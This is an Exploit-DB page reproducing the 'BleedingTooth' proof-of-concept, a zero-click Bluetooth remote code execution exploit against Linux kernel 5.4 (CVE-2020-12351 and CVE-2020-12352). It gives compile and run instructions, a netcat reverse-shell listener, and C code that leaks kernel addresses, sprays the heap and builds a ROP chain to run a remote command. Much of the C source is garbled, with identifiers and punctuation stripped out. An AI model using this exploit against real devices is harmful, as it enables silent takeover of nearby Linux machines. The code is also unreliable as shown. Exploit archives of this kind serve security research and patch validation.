标题: Linux Kernel 5.4 - 'BleedingTooth' Bluetooth Zero-Click Remote Code Execution EDB-ID: 49754 CVE: 2020-12352 2020-12351 类型: REMOTE 平台: LINUX 发布日期: 2021-04-08 漏洞利用脚本: # Exploit Title: Linux Kernel 5.4 - 'BleedingTooth' Bluetooth Zero-Click Remote Code Execution
# Date: 06/04/2020
# Exploit Author: Google Security Research (Andy Nguyen)
# Tested on: 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
# CVE : CVE-2020-12351, CVE-2020-12352

/*
 * BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution
 * by Andy Nguyen (theflow@)
 *
 * This Proof-Of-Concept demonstrates the exploitation of
 * CVE-2020-12351 and CVE-2020-12352.
 *
 * Compile using:
 *   $ gcc -o exploit exploit.c -lbluetooth
 *
 * and execute as:
 *   $ sudo ./exploit target_mac source_ip source_port
 *
 * In another terminal, run:
 *   $ nc -lvp 1337
 *   exec bash -i 2>&0 1>&0
 *
 * If successful, a calc can be spawned with:
 *   export XAUTHORITY=/run/user/1000/gdm/Xauthority
 *   export DISPLAY=:0
 *   gnome-calculator
 *
 * This Proof-Of-Concept has been tested against a Dell XPS 15 running
 * Ubuntu 20.04.1 LTS with:
 * - 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020
 *   x86_64 x86_64 x86_64 GNU/Linux
 *
 * The success rate of the exploit is estimated at 80%.
 */










































  
  uint8_t code
  uint8_t ident
  uint16_t len
 packed a2mp_hdr



  
  uint16_t reason
 packed a2mp_command_rej


  
  uint8_t id
 packed a2mp_info_req


  
  uint8_t id
  uint8_t status
  uint32_t total_bw
  uint32_t max_bw
  uint32_t min_latency
  uint16_t pal_caps
  uint16_t assoc_size
 packed a2mp_info_rsp


  
  uint8_t id
 packed a2mp_assoc_req


  
  uint8_t id
  uint8_t status
  uint8_t assoc_data
 packed a2mp_assoc_rsp

  
  uint8_t mode
  uint8_t txwin_size
  uint8_t max_transmit
  uint16_t retrans_timeout
  uint16_t monitor_timeout
  uint16_t max_pdu_size
 packed l2cap_conf_rfc

  remote_command

  hci_sock   l2_sock  
 uint16_t hci_handle  

 uint64_t kaslr_offset   l2cap_chan_addr  

 uint16_t crc16_tab  
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
            
       


 uint16_t uint16_t crc   buf size_t size 
   uint8_t p  buf
   size
    crc  crc16_tabcrc  p    crc  
   crc


  bdaddr_t dst_addr uint16_t handle 
   l2_sock

   l2_sock  PF_BLUETOOTH SOCK_RAW BTPROTO_L2CAP   
    
    
  

   sockaddr_l2 laddr  
  laddrl2_family  AF_BLUETOOTH
  laddrl2_bdaddr BDADDR_ANY bdaddr_t
   l2_sock  sockaddr laddr laddr   
    
    
  

   sockaddr_l2 raddr  
  raddrl2_family  AF_BLUETOOTH
  raddrl2_bdaddr  dst_addr
   l2_sock  sockaddr raddr raddr   
      errno  EALREADY 
    
    
  

   l2cap_conninfo conninfo  
  socklen_t len  conninfo
   l2_sock SOL_L2CAP L2CAP_CONNINFO conninfo len   
    
    
  

   handle
    handle  conninfohci_handle

   l2_sock


   
   hci_dev_info di  
   hci_device_id  
   hci_sock  hci_device_id
   hci_device_id di   
    
    
  

   hci_filter flt  
  flt
  flt
  flt
   hci_sock SOL_HCI HCI_FILTER flt flt   
    
    
  

   hci_sock


   
    
    uint8_t buf  
     hci_sock buf buf   
      
      
    
     buf  HCI_EVENT_PKT 
      hci_event_hdr hdr  hci_event_hdr buf
       hdrevt  EVT_NUM_COMP_PKTS
        
    
  


   hci_sock uint16_t hci_handle  data
                              uint16_t data_length uint16_t flags 
  uint8_t type  HCI_ACLDATA_PKT

  hci_acl_hdr hdr  
  hdrhandle  hci_handle flags
  hdrdlen  data_length

   iovec iv  
  iviov_base  type
  iviov_len  type
  iviov_base  hdr
  iviov_len  HCI_ACL_HDR_SIZE
  iviov_base  data
  iviov_len  data_length
   hci_sock iv iv   iovec   
    
    
  

  HCI_SEND_ACL_DATA_WAIT_USEC
  


   
  

   
    l2cap_hdr hdr
    l2cap_cmd_hdr cmd_hdr
    l2cap_disconn_req disconn_req
   disconn_req  
  disconn_reqhdrlen  disconn_req  L2CAP_HDR_SIZE
  disconn_reqhdrcid  SIGNALLING_CID
  disconn_reqcmd_hdrcode  L2CAP_DISCONN_REQ
  disconn_reqcmd_hdrident  L2CAP_IDENT
  disconn_reqcmd_hdrlen 
      disconn_req  L2CAP_HDR_SIZE  L2CAP_CMD_HDR_SIZE
  disconn_reqdisconn_reqdcid  AMP_MGR_CID
  disconn_reqdisconn_reqscid  AMP_MGR_CID
  hci_sock hci_handle disconn_req disconn_req 


   
  

   
    l2cap_hdr hdr
   a2mp_create  
  a2mp_createhdrlen  a2mp_create  L2CAP_HDR_SIZE
  a2mp_createhdrcid  AMP_MGR_CID
  hci_sock hci_handle a2mp_create a2mp_create 

  
   
    l2cap_hdr hdr
    l2cap_cmd_hdr cmd_hdr
    l2cap_conf_rsp conf_rsp
    l2cap_conf_opt conf_opt
    l2cap_conf_rfc conf_rfc
    l2cap_conf_opt conf_opt2
    uint16_t conf_mtu
   conf_rsp  
  conf_rsphdrlen  conf_rsp  L2CAP_HDR_SIZE
  conf_rsphdrcid  SIGNALLING_CID
  conf_rspcmd_hdrcode  L2CAP_CONF_RSP
  conf_rspcmd_hdrident  L2CAP_IDENT
  conf_rspcmd_hdrlen 
      conf_rsp  L2CAP_HDR_SIZE  L2CAP_CMD_HDR_SIZE
  conf_rspconf_rspscid  AMP_MGR_CID
  conf_rspconf_rspflags  
  conf_rspconf_rspresult  L2CAP_CONF_UNACCEPT
  conf_rspconf_opttype  L2CAP_CONF_RFC
  conf_rspconf_optlen  l2cap_conf_rfc
  conf_rspconf_rfcmode  L2CAP_MODE_BASIC
  conf_rspconf_opt2type  L2CAP_CONF_MTU
  conf_rspconf_opt2len  uint16_t
  conf_rspconf_mtu  
  hci_sock hci_handle conf_rsp conf_rsp 


   
  

   
    l2cap_hdr hdr
    l2cap_cmd_hdr cmd_hdr
    l2cap_conf_rsp conf_rsp
    l2cap_conf_opt conf_opt
    l2cap_conf_rfc conf_rfc
   conf_rsp  
  conf_rsphdrlen  conf_rsp  L2CAP_HDR_SIZE
  conf_rsphdrcid  SIGNALLING_CID
  conf_rspcmd_hdrcode  L2CAP_CONF_RSP
  conf_rspcmd_hdrident  L2CAP_IDENT
  conf_rspcmd_hdrlen 
      conf_rsp  L2CAP_HDR_SIZE  L2CAP_CMD_HDR_SIZE
  conf_rspconf_rspscid  AMP_MGR_CID
  conf_rspconf_rspflags  
  conf_rspconf_rspresult  L2CAP_CONF_UNACCEPT
  conf_rspconf_opttype  L2CAP_CONF_RFC
  conf_rspconf_optlen  l2cap_conf_rfc
  conf_rspconf_rfcmode  L2CAP_MODE_ERTM
  hci_sock hci_handle conf_rsp conf_rsp 


 uint64_t  
  

   
    l2cap_hdr hdr
    a2mp_hdr amp_hdr
    a2mp_info_req info_req
   info_req  
  info_reqhdrlen  info_req  L2CAP_HDR_SIZE
  info_reqhdrcid  AMP_MGR_CID
  info_reqamp_hdrcode  A2MP_INFO_REQ
  info_reqamp_hdrident  L2CAP_IDENT
  info_reqamp_hdrlen 
      info_req  L2CAP_HDR_SIZE  a2mp_hdr
  
  info_reqinfo_reqid  
  hci_sock hci_handle info_req info_req 

    
    uint8_t buf  
     hci_sock buf buf   
      
      
    
     buf  HCI_ACLDATA_PKT 
      l2cap_hdr l2_hdr  l2cap_hdr buf
       l2_hdrcid  AMP_MGR_CID 
        a2mp_hdr amp_hdr  a2mp_hdr buf
         amp_hdrcode  A2MP_INFO_RSP
           uint64_t buf
      
    
  

   


   
   
    l2cap_hdr hdr
    uint16_t ctrl
    a2mp_hdr amp_hdr
    a2mp_command_rej cmd_rej
    uint16_t fcs
   cmd_rej  
  cmd_rejhdrlen  cmd_rej  L2CAP_HDR_SIZE
  cmd_rejhdrcid  AMP_MGR_CID
  cmd_rejctrl  
  cmd_rejamp_hdrcode  A2MP_COMMAND_REJ
  cmd_rejamp_hdrident  L2CAP_IDENT
  cmd_rejamp_hdrlen  cmd_rej  L2CAP_HDR_SIZE 
                              a2mp_hdr  uint32_t
  cmd_rejcmd_rejreason  
  cmd_rejfcs   cmd_rej cmd_rej  uint16_t
  hci_sock hci_handle cmd_rej cmd_rej 


  uint64_t rop uint64_t cmd_addr 
  rop  kaslr_offset  POP_RAX_RET
  rop  kaslr_offset  RUN_CMD
  rop  kaslr_offset  POP_RDI_RET
  rop  cmd_addr
  rop  kaslr_offset  JMP_RAX
  rop  kaslr_offset  POP_RAX_RET
  rop  kaslr_offset  DO_TASK_DEAD
  rop  kaslr_offset  JMP_RAX


  uint8_t data 
  
  uint64_t data  l2cap_chan_addr   

  
  
  uint64_t data 
      kaslr_offset 
      PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET 
  uint64_t data                    

  
  
  
  uint64_t data l2cap_chan_addr  
  data remote_command 


   num 
  
    i   i  num   i 
     i
    

     
      l2cap_hdr hdr
      a2mp_hdr amp_hdr
      a2mp_info_rsp info_rsp
     info_rsp  
    info_rsphdrlen  info_rsp  L2CAP_HDR_SIZE
    info_rsphdrcid  AMP_MGR_CID
    info_rspamp_hdrcode  A2MP_INFO_RSP
    info_rspamp_hdrident  L2CAP_IDENT
    info_rspamp_hdrlen 
        info_rsp  L2CAP_HDR_SIZE  a2mp_hdr
    info_rspinfo_rspid  i
    hci_sock hci_handle info_rsp info_rsp 

     
      l2cap_hdr hdr
      a2mp_hdr amp_hdr
      a2mp_assoc_rsp assoc_rsp
      uint8_t data
     assoc_rsp  
    assoc_rsphdrlen  assoc_rsp  L2CAP_HDR_SIZE
    assoc_rsphdrcid  AMP_MGR_CID
    assoc_rspamp_hdrcode  A2MP_ASSOC_RSP
    assoc_rspamp_hdrident  L2CAP_IDENT
    assoc_rspamp_hdrlen 
        assoc_rsp  L2CAP_HDR_SIZE  a2mp_hdr
    assoc_rspassoc_rspid  i
      j   j  assoc_rspdata j  
      assoc_rspdataj   j   
    assoc_rspdata

    
    hci_sock hci_handle assoc_rsp
                      assoc_rsp  assoc_rspdata 
    hci_sock hci_handle assoc_rspdata  
    hci_sock hci_handle assoc_rspdata  
    hci_sock hci_handle assoc_rspdata  
    hci_sock hci_handle assoc_rspdata  
  

  


   num 
  
    i   i  num   i 
     i
    

     
      l2cap_hdr hdr
      a2mp_hdr amp_hdr
      a2mp_info_rsp info_rsp
     info_rsp  
    info_rsphdrlen  info_rsp  L2CAP_HDR_SIZE
    info_rsphdrcid  AMP_MGR_CID
    info_rspamp_hdrcode  A2MP_INFO_RSP
    info_rspamp_hdrident  L2CAP_IDENT
    info_rspamp_hdrlen 
        info_rsp  L2CAP_HDR_SIZE  a2mp_hdr
    info_rspinfo_rspid  i
    hci_sock hci_handle info_rsp info_rsp 

     
      l2cap_hdr hdr
      a2mp_hdr amp_hdr
      a2mp_assoc_rsp assoc_rsp
      uint8_t data
     assoc_rsp  
    assoc_rsphdrlen  assoc_rsp  L2CAP_HDR_SIZE
    assoc_rsphdrcid  AMP_MGR_CID
    assoc_rspamp_hdrcode  A2MP_ASSOC_RSP
    assoc_rspamp_hdrident  L2CAP_IDENT
    assoc_rspamp_hdrlen 
        assoc_rsp  L2CAP_HDR_SIZE  a2mp_hdr
    assoc_rspassoc_rspid  i
      j   j  assoc_rspdata j  
      assoc_rspdataj   j   
    
    uint64_t assoc_rspdata  l2cap_chan_addr   
    hci_sock hci_handle assoc_rsp assoc_rsp 
  

  


  argc  argv 
   argc   
     argv
    
  

  bdaddr_t dst_addr  
  argv dst_addr

  remote_command remote_command REMOTE_COMMAND argv
           argv
   remote_command

  
  hci_sock  

  
  l2_sock  dst_addr hci_handle
   hci_handle

  

  uint64_t kernel_addr  
   kernel_addr
  kaslr_offset kernel_addr
   kaslr_offset
   kaslr_offset     
    
    
  

  
  l2cap_chan_addr    
   l2cap_chan_addr
   l2cap_chan_addr     
    
    
  

  
  
  

  
  
  

  
  
    i   i  NUM_SPRAY_KMALLOC_1024 i 
    
  

  
  
    i   i  NUM_SPRAY_KMALLOC_128 i 
    
  

  
  
  

  l2_sock
  hci_sock URL: https://www.exploit-db.com/exploits/49754